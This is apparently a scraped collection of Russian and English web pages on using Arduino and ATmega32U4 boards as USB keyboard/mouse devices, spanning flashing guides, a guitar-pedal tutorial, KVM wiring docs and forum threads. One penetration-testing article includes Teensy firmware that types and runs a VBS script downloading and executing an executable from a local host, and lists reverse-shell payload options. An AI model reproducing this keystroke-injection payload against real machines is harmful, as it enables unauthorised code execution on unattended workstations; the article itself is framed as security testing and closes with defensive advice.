Arduino как hid устройство

PureBasic — форум

Меню навигации

  • Сайт
  • Форум
  • Участники
  • Поиск
  • Регистрация
  • Войти

Пользовательские ссылки

Информация о пользователе

Вы здесь » PureBasic — форум » Программирование микроконтроллеров » Простое USB HID устройство на ATmega32U4 (Arduino Pro Micro)

Простое USB HID устройство на ATmega32U4 (Arduino Pro Micro)

Сообщений 1 страница 8 из 8

Поделиться102.02.2016 21:52:17

  • Автор: Пётр
  • Активный участник
  • Зарегистрирован : 14.06.2009
  • Приглашений: 0
  • Сообщений: 2585
  • Уважение: [+83/-5]
  • Позитив: [+0/-0]
  • Пол: Мужской
  • Провел на форуме:
    2 месяца 1 день
  • Последний визит:
    Вчера 12:53:19

В предыдущей статье было рассмотрено несложное USB HID устройство на микроконтроллере ATmega8. В нем нет аппаратного модуля USB и ресурсов микроконтроллера хватает для поддержки сравнительно медленной версии USB 1.1 со скоростью обмена 1,5 Мбит/с (Low-Speed). Существуют микроконтроллеры семейства AVR фирмы Atmel имеющие встроенный аппаратный модуль USB, который как правило поддерживает USB 2.0 и обеспечивает скорость обмена 12 Мбит/с (Full-Speed). Например AT90USB162, AT90USB1287, ATmega16U4, ATmega32U4 и т. д. Их преимущество кроме увеличенной скорости обмена еще в том что процессор микроконтроллера не участвует в приеме и дешифрации USB пакетов, а значит его ресурсы можно использовать для других целей повысив общую производительность микроконтроллера по сравнению с программной реализацией.
Одним из недостатков этих микроконтроллеров — отсутствие вариантов в DIP корпусе. В продаже можно найти различные платы с микроконтроллером и его обвязкой (цепи питания и сброса, цепи тактирования, USB и т. д.) Одна из таких плат это Arduino Pro Micro с микроконтроллером ATmega32U4.
Выглядит плата так.

Прошивается это «чудо» по USB. В микроконтроллере нестандартный загрузчик (не тот что по умолчанию с завода, а от Arduino). Он активируется при сбросе микроконтроллера и ждет начала программирования в течение нескольких секунд. Если за это время программирование не началось, работа загрузчика завершается и микроконтроллер начинает выполнять основную программу. Во время работы загрузчика в системе присутствует виртуальный COM порт с именем «Arduino Leonardo bootloader (COMx)», где COMx это номер COM порта, присвоенный системой.
Прошивка выполняется программной Boot32u4.exe.

В программе нужно указать путь к прошивке формата HEX и выбрать COM порт загрузчика. Его можно узнать в диспетчере устройств в момент активности загрузчика. Как писал выше у него имя «Arduino Leonardo bootloader (COMx)», где COMx это номер COM порта, присвоенный системой.
Т. к. загрузчик активен всего несколько секунд, то для упрощения прошивки в программе введен режим ожидания появления виртуального порта с таймаутом 20 секунд.
Последовательность прошивки такова.
1. Необходимо запустить программу Boot32u4.exe и при необходимости указать путь к прошивке и номер порта, а затем нажать на кнопку «Прошить».
2. В течение 20 секунд после этого необходимо перезагрузить микроконтроллер кратковременно замкнув на плате выводы RST и GND.
3. Ожидать завершения прошивки.

Теперь о тестовой прошивке и программе для компьютера. Они как и в прошлой статье были написаны на BASCOM-AVR (прошивка) и PureBasic (программа для ПК). Компьютерная программа осталась без изменений и для тестирования ее можно взять из прошлой статьи.
Светодиод использован находящийся на плате, а кнопку нужно подключить к выводам 2 и GND платы.

Скачать тестовую прошивку и программу для компьютера. http://pure-basic.narod.ru/forum_files/ … _16MHz.zip

Дальнейшее развитие темы — USB HID устройство на STM32F103C8T6 Простое USB HID устройство на STM32F103C8T6

Arduino как HID устройство

До сих пор мы работали только с Arduino UNO. Да вот только то, что я сегодня покажу не работает с Arduino UNO. На самом деле можно, конечно, но в таком случае нужно кое-чего подшаманить, а это кое-чего не так-то и просто. Что же тогда делать? А вот что.

Кроме Arduino UNO существует множество других версий Arduino. Это и Arduino Nano или Mini, когда размер имеет значение, и Arduino Mega, когда пинов и ресурсов на UNO уже не хватает, а еще нужно подключить килограмм датчиков. А если форм-фактор UNO уж больно нравится, а аналоговых пинов не хватает, то на помощь придет Leonardo.

На Leonardo мы сегодня и остановимся. Отличие Leonardo от UNO не только в дополнительных аналоговых пинах, но и в архитектуре. На Leonardo доступен виртуальный Serial port. Что это нам дает? Как минимум то, что 1 и 0 пины, которые отвечают за соединение с компьютером на UNO остаются свободными, а при открытии Serial соединения плата не перезагружается. Примите это во внимание. И главный козырь – компьютер считает Leonardo за HID устройство (Human interface device), а это говорит о том, что Leonardo может притвориться клавиатурой или мышью. Это свойство то мы и будем использовать.

Я люблю играть на электрогитаре. Часто играю в программе Guitar rig. Эта программа является виртуальным гитарным процессором, то есть обрабатывает звук с гитары. К чему все это. При игре нужно переключаться между пресетами, а руки то заняты. Есть решение – приобрести контроллер для этой программы, вот только он больше не выпускается, да и стоит прилично. А что если соорудить педаль самому? Вот что из этого получилось.

Arduino Leonardo или его аналоги

Главное – чтобы плата определялась как HID устройство

Тут уж по вашему вкусу

Тут есть где разгуляться дизайнерской мысли. Я решил не заморачиваться особо и соорудил подобие педали из двух фанерок, обильно смазанных термоклеем. Побаловаться – в самый раз.

Пол царства за термоклей.

Как я уже и говорил, Leonardo может притворяться клавиатурой или мышью. Это осуществляется с помощью встроенной библиотеки. Ниже приведен пример кода. Попробуйте запустить его у себя на компьютере. Должна произойти странная вещь.

Не спешите бежать и рассказывать о восстании машин. Так и было задумано. Теперь разберемся как это работает.

Keyboard.press(button) – эта команда говорит Leonardo о том, что нужно нажать кнопку на клавиатуре. Аргументом принимает букву или специальное обозначение клавиши. KEY_LEFT_CTRL – это левый Ctrl, например. Все обозначения можно посмотреть тут.

Можно нажимать комбинации клавиш. Для этого пропишите несколько строк кода с нужными клавишами. Например, чтобы сохранить текст есть комбинация Ctrl + s, Leonardo тоже сможет сохранить текст если выполнить такой код:

Keyboard.releaseAll() – команда говорит Leonardo отпустить клавиши. Заметьте, что предыдущая команда говорит Leonardo только о нажатии клавиши. Если не прописать Keyboard.releaseAll(), то клавиша будет зажата и дальше. Прямо как в реальности. Попробуйте открыть текстовый редактор и зажать клавишу.

Keyboard.println(«Some text«) – эта команда отвечает за печать текста. Тут все предельно ясно. Работает как Serial.println.

Там есть и другие функции, но эти – самые основные. Их нам хватит, чтобы сделать педаль для гитары. Если кому интересно, что еще есть в этой библиотеке или в похожей для мыши, то можно открыть примеры/USB и почитать тут. Переходим к сборке педали.

С конструкцией можно подумать, а схема устройства крайне проста. Ниже приведена схема на макетке.

На видео показан тест устройства в Microsoft Word и использование в качестве педали для переключения пресетов в guitar Rig 5. Для этого я создал новый контроллер, запомнил клавишу и задал действие.

Оказывается, существуют и другие Arduino, не менее полезные, а где-то и более полезные чем UNO.

Используя Leonardo в качестве клавиатуры или мыши можно создавать интересные вещи. Например, флешку-розыгрыш на 1 апреля, которая будет нажимать клавиши через определенные интервалы. Такая штучка доставит вашей цели кучу незабываемых эмоций. Только тсс, я этого не говорил.

Arduino как hid устройство

Hardware Arduino HID instead of the OTG

Using Arduino HID on non-v0 platforms is useful if you need a simple and primitive keyboard/mouse emulator device. For example when used with a hardware KVM switch which does not recognize composite HID. You can also use the Arduino HID to emulate the PS/2 keyboard.

  • NOTE: AIMOS KVM switches do not work with the aruduino, please consider using an alternitive.

USB keyboard & mouse

  • Build and connect HID according to the diagram (the bottom part with transistor, level-shifter and Arduino).
  • Switch to RW-mode using command rw .
  • Add these lines to /etc/kvmd/override.yaml (remove <> in the file before):

Using the PS/2 firmware currently has the following limitations:

  • The possibility of using the switchable USB HID is excluded.
  • PS/2 mouse is not supported right now (but it will).

Both of these problems will be solved in the nearest future and the two different firmware versions will be combined into one universal one.

To select the PS/2 firmware, you need to follow the instructions for USB, but with one exception. Before make you need to edit file platformio.ini . Open it and find these lines:

By default, the firmware works with USB HID and supports dynamic mode switching. You can choose one of the other modes by commenting some lines and uncommenting others. This example to use a USB mouse and PS/2 keyboard:

Next, you need to connect Arduino pins to the female PS/2 port of your motherboard. Choose the purple port. If your motherboard only have one port, it’s probably universal and can be used either for the keyboard or for the mouse. Most likely, it is painted in two colors: green and purple. You can use it either.

Follow this diagram:

Female PS/2 port (front view) Pinout
Arduino pin 7 PS/2 CLOCK
Arduino pin 5 PS/2 DATA
Arduino GND pin PS/2 GND

Connect VIN pin of Arduino to any Raspberry’s 5v pin for PS/2 only device. But you don’t need to connect the Arduino VIN pin if you connected USB (Arduino will get power through it).

SPI connection to Arduino Micro

Using an SPI connection, an Arduino Micro or compatible can be flashed from the Pi and used as an HID keyboard and mouse. Unlike UART, SPI does not share pins with Bluetooth on the Raspberry Pi so the Bluetooth radio does not need to be disabled.

Before powering either device, double-check the connections. The following should be wired from the Pi to either the level shifter or the Arduino. While the Arduino tolerates 3.3V logic input, 5V outputs from the Arduino can damage or destroy the Raspberry Pi and must not be connected directly to 3.3V GPIO pins directly.

There are very few parts needed besides the Raspberry Pi to build the solution. Some parts may be purchased with or without headers, if headers are not pre-soldered, it may be necessary to order some breakaway header strips and solder them to the boards prior to assembly unless the wires will be soldered directly to the boards.

  • Raspberry Pi Zero W or Pi 4 are the most popular boards for this solution, pre-soldered headers recommended
  • Arduino Micro (or compatible) microcontroller board with pre-soldered headers recommended
  • Logic Level Converter. This may be RX/TX, Bidirectional, or Single Supply
  • Dupont wires (female to male pin) recommended for breadboard or other suitable means of making the connections
  • Optional: Breakaway headers for the logic level converter
  • Optional: Breadboard large enough to accomodate the parts
  • Optional: Header pins for connection to a breadboard

Note: A smaller «Pro Micro» board is available in a 3.3V model but the SS connection (RX_LED) is not available as a separate pin or solderable hole. If using this board, a jumper wire can be soldered to the resistor for the RX_LED but there is risk of burning the resistor, the LED, the board, or other components in the process. Advantages of this board include not requiring a logic level converter and reduced breadboard or board space for building the solution.

List of connections to be made

For the primary functionality, most connections are made using a 4-channel bidirectional level shifter

  • Pi 3v3 to LV on the level shifter
  • Pi Ground to LV GND
  • Arduino GND to HV GND
  • GPIO10 (MOSI) via the level shifter to MOSI on the Arduino
  • GPIO9 (MISO) via the level shifter to MISO on the Arduino
  • GPIO11 (SPIO_SCLK) via the level shifter to SCK on the Arduino
  • GPIO7 (SPIO_CE1_N) via the level shifter to SS (or RX_LED) on the Arduino

An additional circuit is used with a transistor to reset the HID for mode changes and for SPI programming as follows:

  • GPIO25 to PNP base on transistor
  • PNP emitter to ground
  • PNP collector to RST on the Arduino

Pictures of this setup are also available in full resolution for download to assist for both the Raspberry Pi and the microcontroller board. A smaller version of the images has been included on this page and can be downloaded.

Raspberry Pi Closeup Breadboard with Arduino

Programming assumes the Arduino is powered via USB, either from the connected host or the Pi itself. If the USB is not connected, 5 V may be provided by the Raspberry Pi GPIO but should be disconnected prior to connecting USB to the microcontroller’s USB port. The Raspberry Pi does not have backcurrent protection, a circuit using one or more Schottky diodes can be built to OR power from multiple sources but it’s easier and more cost effective to avoid conflict and voltage differences between power supplies by leaving the 5 V wire disconnected.

Preparing the installation for SPI devices and programming

As of the latest package release, the kdmd service supports SPI. It should be sufficient to ensure the packages are up-to-date with the latest release, the programmer is installed, and the SPI device overlay is loaded at boot.

  • Switch the filesystem to read-write mode with rw
  • Update the system with pacman -Syu for the latest packages
  • Install the avrdude programmer with pacman -S avrdude-svn
  • Add dtoverlay=spi0-1cs to /boot/config.txt
  • Reboot with reboot or systemctl reboot

Flashing the Arduino microcontroller

Instructions on flashing the microcontroller can be found on the page Flash the Arduino HID.

If programming fails, ensure the Arduino is powered and check the wiring again. If there is a misconfiguration, power off the Pi and the Arduino, correct the wiring, and try again. Note it is not recommended or required to supply 5V power from the Raspberry Pi if the microcontroller is USB powered, if the issue appears to be power related it may be removed from the solution and replaced with a powered USB connection if it will aid in troubleshooting but check all other wires first to ensure there are no shorts.

Wiring problems are a common issue but there could be other reasons for programming not to complete. While it is not possible to list every possible problem and solution here, there is an active user community on Discord at https://discord.gg/bpmXfz5 with others familiar with the solution and willing to help.

Enable the SPI configuration and restart kvmd

Once the installation has completed, all that should remain is to add the following configuration to /etc/kvmd/override.yaml and restart the kvmd service. If the first line exists due to existing overrides, omit that line and either add or update the hid section as appropriate.

After saving the changes to /etc/kvmd/override.yaml , restart kvmd and clear your browser cache. The command to restart kvmd is

If your device is still in read-write mode, ro will put the SD back in read-only mode.

  • © 2021 GitHub, Inc.
  • Terms
  • Privacy
  • Security
  • Status
  • Docs
  • Contact GitHub
  • Pricing
  • API
  • Training
  • Blog
  • About

You can’t perform that action at this time.

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.

Arduino.ru

Arduino Nano V3 на ATmega328 в HID устроиство

Вопрос в шапке. Помогите пожалуйста, сколько инфы перечитал в интернете но так и не нашёл ничего путного.
Задача написать перемещение мыши по x и y координате.

Вопрос в шапке. Помогите пожалуйста, сколько инфы перечитал в интернете но так и не нашёл ничего путного.
Задача написать перемещение мыши по x и y координате.

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А зачем выбрали Нано — чтобы задачка посложнее была? оно не умеет прикидываться HID.

Вы точно ничего не перепутали? может стоило взять Ардуино Леонардо на чипе Атмега32U. которая из коробки поддерживает HID ?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А зачем выбрали Нано — чтобы задачка посложнее была? оно не умеет прикидываться HID.

Вы точно ничего не перепутали? может стоило взять Ардуино Леонардо на чипе Атмега32U. которая из коробки поддерживает HID ?

Знаю это всё, но в моём городе нету вообще леонардо кое как нашёл Нано, а ждать с алика либо доставки долго. Так что приходиться вот так..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

ищи аттини85 и делай дигиспарк.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

ищи аттини85 и делай дигиспарк.

Без пайки чего либо и без новых покупок чего либо можно обойтись? Читал по англ форумам что можно как то через V-USB реализовать но вот как именно и т.д. никакой инфы не нашёл.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Спасибо конечно, но подожду ещё других ответов, думаю тут будет тот кто шарит за это..

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

шарит за это? ну жди. )))

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? 🙂

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

в моём городе нету вообще леонардо кое как нашёл Нано, а ждать с алика либо доставки долго. Так что приходиться вот так..

шикарная логика. «буду искать под фонарем — там светлее. «

Советую, пока суть да дело — заказать Леонардо на Али или в чипи_и_дипе. или в чем похожем. Куча магазинов в крупных городах отправляет почтой, пакет по РФ в самый глухой уголок идет от силы недели три.

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта 🙂

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта 🙂

Как я понимаю — предполагается, что «поднимать проект» будут местные обитатели, а ТС будет копипастить.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А дальше устроим соревнование — сумеете ли вы поднять проект на Нано быстрее, чем идет почта 🙂

Кто принимает ставки?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? 🙂

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? 🙂

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

Можно поподробнее про V-USB?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Как посылать X и Y значения знаю, буду делать софт на C++ и посылать через COM порт, а вот как реализовать само передвижение курсора не знаю..

Т.е. будет некий софт, который посылает на микроконтроллер через UART команды, а контроллер, свою очередь должен через USB эмулировать мышь и двигать курсор? Мне одному кажется, что контроллер тут лишнее звено? 🙂

я тоже немного ничего не понял )

но вроде он обычную мышку делает. с контроллера приходят X Y координаты и на софт. но тогда и без HID сделать на нано можно.

думаю вопрос не точно написан что именно это за устройство будет

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

примерно так. переделать код + uart + uno + 2 потенциометра для x y

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

enxls, загляните в эту темку. Только имейте ввиду, что то решение было актуальным для 2015-16 года, тогда плат промикро по 200 руб ещё не было продаже на али. Сейчас делать подобное никто в здравом уме не будет.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

Я же говорил что с помощью программы мне как раз таки и не надо. Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Если можно без HID реализовать то как? Нужно именно на ардуино передвигать мышь.

написать на компе программу-резидент, которая будет принимать координаты мыши из Компорта и двигать мышь

кстати мне тоже интересно но немного другое. а как на uno поставить потенциометр и что бы он потом работал например как будто это руль?

в играх например как руль определялся.

это уже без HID не обойтись?

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Мошт программа должна двигать мышь? Тогда ещё пары двигателей недостает в наборе.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Надо наоборот что бы программа отправила координаты ардуинке и ардуинка передвинула курсор мыши

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

Потому что передвижение в одной программе не работает обычными MouseMove или SetCursorPos или SendMessage. Вот и приходиться эмулировать мышь.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

А что у Attiny85 есть такое, чего нет у Atmega328 и что позволяет первому реализовать USB HID?

Фапч для генерации частоты usb.

Ну, насколько я понимаю, для USB 1.1 обычного системного кварца на 16 МГц вполне достаточно.

вот и специалисты подтянулись, сейчас и HID устройство напишут.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Пара двигателей — полумера. Нужно делать на ардуине подвижную платформу (колёсную или гусеничную) и ставить на неё бильярдный кий на актуаторе. Ну, а на мышь что-нибудь для прицеливания — хоть светодиод. Будет вокруг мыши ездить и гонять её киём куда надо.

  • Войдите или зарегистрируйтесь, чтобы получить возможность отправлять комментарии

Готов перевести на русский то, что несет наш ТС.

У него есть некоторая программа, которая генерирует последовательность координат для мышки. Из этой программы он передает эту последовательность во внешний мир! ;))) Там Ардуино должен принять эту последовательность и притворившись «мышкой» отправить обратно, чтобы компьютер поверил и передвигал курсор мышки в соответствии с координатами.

Только спрашивайте меня: «Зачем тут Ардуино?» — это к ТС! ;))

и готов спорить, что «требуется» это, чтобы пройти какой-то суперсложный уровень в какой-нить игрушке. вместе с невозможностью купить леонардо (мама запретила) ТС определяется мной как школьник средних (очень средних) классов :)))

Боевой HID-эмулятор на Arduino


За последние годы многие стали с некоторой осторожностью относиться к съемным носителям данных. И вполне обоснованно. Ведь все так или иначе встречались с autorun.inf в корне флешки. Но, к сожалению, автозапуск с носителя – далеко не единственный вектор атаки при подключении устройства. При проведении внутренних тестов на проникновение нередко возникает необходимость проверить и продемонстрировать заказчику все возможные векторы, в том числе обход device-lock’ов.
Под катом рассмотрим пример устройства на arduino-подобном МК, эмулирующего HID-клавиатуру, с последующим выполнением кода на атакуемой системе.

Вектор атаки лежит на стыке технологии и социальной инженерии, а именно, требует от потенциального злоумышленника возможности физически подключить устройство, которое “притворится” устройством ввода и самостоятельно выполнит необходимые действия. Все вышеописанное перестает выглядеть фантастично, стоит лишь вспомнить про великое множество полезных и не очень usb-девайсов неизвестного происхождения, которые служащие, бывает, подключают к своим рабочим станциям. Не стоит всегда полагаться на утиный тест: здесь не все, что выглядит как флешка, флешкой и является.

Железо

В качестве аппаратной платформы будем использовать Teensy USB Development Board, а именно Teensy 2.0.

  • Поддержка USB
  • Маленькие габариты
  • Небольшая стоимость($16)
  • Совместимость с Arduino

Сама идея эмулировать микроконтроллером нажатия клавиш на клавиатуре не нова, и в помощь нам существует масса готовых решений. В частности, получить код прошивки можно несколькими путями.

Social Engineering Toolkit

Предустанавливается в back-track, позволяет выбрать один из вариантов полезной нагрузки:

  • Powershell HTTP GET MSF Payload
  • WSCRIPT HTTP GET MSF Payload
  • Powershell based Reverse Shell Payload
  • Internet Explorer/FireFox Beef Jack Payload
  • Go to malicious java site and accept applet Payload
  • Gnome wget Download Payload

На выходе получается файл *.pde с кодом программы, готовым для компиляции и прошивки.

Kautilya

Как и модуль из SET, представляет собой генератор кода прошивки, но, в отличие от вышеупомянутого, содержит значительно больше разнообразных нагрузок и активно развивается энтузиастом по имени Nikhil Mittal. Например, в версии 0.2.1 содержится 20 различных вариантов полезной нагрузки для Windows и 3 для Linux. Но большая часть функционала основана на манипуляциях с Power-Shell, что, мягко говоря, затрудняет эксплуатацию в Windows XP.

Написать код самим

Для удобства можно использовать библиотеку phukdlib, созданную пионером в области «teensy-вектора», человеком по имени Adrian Crenshaw (Irongeek). В ней реализовано несколько рутинных операций, например, открытие командной строки, реализованное для различных ОС.

Какой бы способ мы ни выбрали, в итоге у нас будет файл с кодом нашей прошивки, который надо чем-то скомпилировать и залить в МК. Для этого качаем и устанавливаем Arduino и teesyduino — дополнение для ардуино, добавляющее поддержку сборки под нашу платформу, а также десятки полезных примеров.

Саму среду достаточно просто распаковать из архива, и она уже готова к запуску. В процессе установки teensyduino установится также USB Serial driver, и будет предложено выбрать дополнительные библиотеки для работы со всевозможной периферией, от сервоприводов до GPS-приемников. Для нашей сегодняшней задачи ни одна из них не понадобится, но все они сами по себе достаточно любопытны и сопровождаются примерами кода.

Теперь запускаем и выбираем тип платы.

Эмулировать мы будем устройства ввода, так что выбираем соответствующий тип USB.

Итак, скромный инструментарий готов, и можно приступать к написанию программы.

Let’s rock!

Зададим глобальные переменные
int ledPin = 11; //номер пина, на который уже разведен светодиод
int complete_flag =0; //флаг, указывающий, что один цикл программы уже выполнился

Перед основным циклом единожды выполняется функция Setup(). В ней мы приветственно поморгаем светодиодом, а заодно дадим несколько секунд на инициализацию HID-устройства системой.

void setup() <
pinMode(ledPin, OUTPUT);
for(int i=0;i

Для начала вызовем стандартный диалог выполнения команд, «нажав» хоткей Win+R.

void loop() <
if(!complete_flag)
<
Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

Подождем немного, пока диалог откроется. Здесь и далее в этом примере используется задержка продолжительностью в 1 секунду — значение, неоправданно большое для реальных условий и зависящее от отзывчивости системы (бывает, что и блокнот открывается полминуты).

Теперь, когда перед нами открылся текстовый редактор, «наберем» VBS-скрипт, который скачает и запустит приложение со стороннего сервера.

Keyboard.println(«Set xml=CreateObject(«Microsoft.XMLHTTP»)»);
Keyboard.println(«xml.Open «GET»,»http://192.168.1.137/calc.»&»exe»,False»);
Keyboard.println(«xml.Send»);
Keyboard.println(«set oStream=createobject(«Adodb.Stream»)»);
Keyboard.println(«Const adTypeBinary=1»);
Keyboard.println(«Const adSaveCreateOverWrite=2»);
Keyboard.println(«Const adSaveCreateNotExist=1 «);
Keyboard.println(«oStream.type=1»);
Keyboard.println(«oStream.open»);
Keyboard.println(«oStream.write xml.responseBody»);
Keyboard.println(«oStream.savetofile «C:\payload.»&»exe», 2″);
Keyboard.println(«oStream.close»);
Keyboard.println(«Set wshShell=CreateObject(«WScript.Shell»)»);
Keyboard.println(«WshShell.Exec («C:\payload.»&»exe»)»);

Сохраним полученное в корне диска С (Alt+F4 -> Enter -> вводим имя файла -> Enter).

Keyboard.set_modifier(MODIFIERKEY_LEFT_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«»);
delay(1000);
Keyboard.println(«c:\getpayload.vbs»);

Как и ранее, Win+R, и запускаем только что созданный скрипт.

Keyboard.set_modifier(MODIFIERKEY_LEFT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(1000);
Keyboard.println(«c:\getpayload.vbs»);
complete_flag = 1;
> >

Настало время залить все это в teensy. Для этого просто жмем кнопку Upload, и после завершения компиляции перед нами предстанет окошко teensy-loader’а. Остается подключить нашу плату по USB и нажать единственную кнопку. После прошивки микроконтроллер автоматически перезагрузится и начнет выполнение программы.

Action!

В заключение хочется отметить, что для защиты от подобного рода атак можно использовать настройку политик безопасности для добавления новых устройств в ОС или же специализированные средства для блокировки. Но устройства идентифицируются системой по связке Vendor ID и Product ID, которые, в свою очередь, могут быть запрограммированы злоумышленником и полностью соответствовать уже зарегистрированным в системе. Таким образом, даже блокировка по «белому списку» не является панацеей. Для выявления и блокировки HID-эмуляторов, на мой взгляд, следует использовать эвристические методы, например, основываясь на анализе изменения скорости ввода.

Arduino как hid устройство

USB HID over Bluetooth — Обсуждение
HID USB-bluetooth адаптеры (USB HID via Bluetooth). Готовые изделия и самоделки

  • USB HID over Bluetooth — это устройство для подключения USB — устройств через Bluetooth
  • Не путать с Bluetooth dongle!
  • Bluetooth dongle — это USB свисток, который вставляется в компьютер и активирует на нём функцию Bluetooth. (Компьютер не обязан изначально иметь Bluetooth)
  • Готовые изделия
  • Самоделка
  • Видео про HANDHELD SCIENTIFIC Bluetooth Keyboard Adapter
  • Результаты с USB2BT
  • Видео о том, как работает клавиатура Rii Mimi I25
  • Перед тем как задать вопрос, воспользуйтесь поиском по теме . Уважайте своё и чужое время.
  • Для сравнения устройства с конкурентами и по вопросам выбора устройств обращайтесь в раздел:Выбор и сравнение.
  • Перед размещением фотографии ознакомьтесь с темойРабота с изображениями на форуме
  • Сообщения, не относящиеся к теме обсуждения (оффтоп), удаляются без предупреждения.

Сообщение отредактировал AndyER03 — 17.03.20, 16:33

— на левой фотке подключена беспроводная клава Rii mini i25A (имеет в себе также аэромышь), на правой фотке — обычная оптическая беспроводная мышь OXION OMSW002RD. Для тех, кто в танке: беспроводная — значит используется USB dongle для беспроводной связи с мышью/клавой по собственному протоколу. USB dongle — это USB-заглушка (чёрная такая на фото, вставлена в HANDHELD SCIENTIFIC Bluetooth Keyboard Adapter).

ˇГотовые изделия:

Японец промышляет, как я понял, вместе со своей маленькой дочуркой Mei, которая помогает наклейки клеить и всякое по мелочи.
Видео от корейца Sangryool Kim:
https://www.youtube.com/watch?v=iSKHFpeGg4I
Он же, в корпусе:
https://youtu.be/LS78AX2i6bQ?t=1070
Он же, в корпусе, подключенным USB-тройником и огромным аккумулятором:
https://youtu.be/B_ACA_vMkxI?t=987
У Sangryool Kim много видосов про этот адаптер, и не только про этот адаптер.

В продаже нашёл на амазоне и ещё в двух магазинах.
